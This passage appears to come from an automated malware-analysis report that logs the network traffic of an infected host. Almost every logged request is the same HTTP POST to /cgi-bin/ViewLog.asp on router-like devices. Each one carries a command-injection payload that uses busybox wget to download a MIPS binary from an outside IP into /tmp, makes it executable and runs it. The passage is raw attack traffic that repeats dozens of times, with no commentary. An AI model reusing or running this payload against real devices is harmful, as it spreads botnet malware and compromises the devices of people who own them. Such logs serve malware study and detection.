                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                563192.168.2.153454285.105.17.978080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.160033941 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                564192.168.2.154607062.29.83.938080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.163320065 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                565192.168.2.154890495.183.87.748080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.372643948 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                566192.168.2.153335231.136.234.988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.779990911 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:32.347331047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:33.496809959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.960756063 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:40.568732977 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.784467936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.751847982 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                567192.168.2.154891695.183.87.748080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.816114902 CET322INHTTP/1.0 400 Bad Request
                                                Server: httpd
                                                Date: Thu, 23 Nov 2023 04:22:31 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                568192.168.2.154176494.122.25.2138080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.817394018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                569192.168.2.155074631.136.124.2018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.241976023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.448760033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.592612028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.624284983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                570192.168.2.155239094.120.44.478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.291831970 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                571192.168.2.155989895.214.179.108080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.617779970 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.728758097 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:42.872575998 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.904242039 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                572192.168.2.155273031.136.128.1368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.627706051 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.704802036 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:41.848599911 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.880259991 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                573192.168.2.155491431.187.161.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.634550095 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
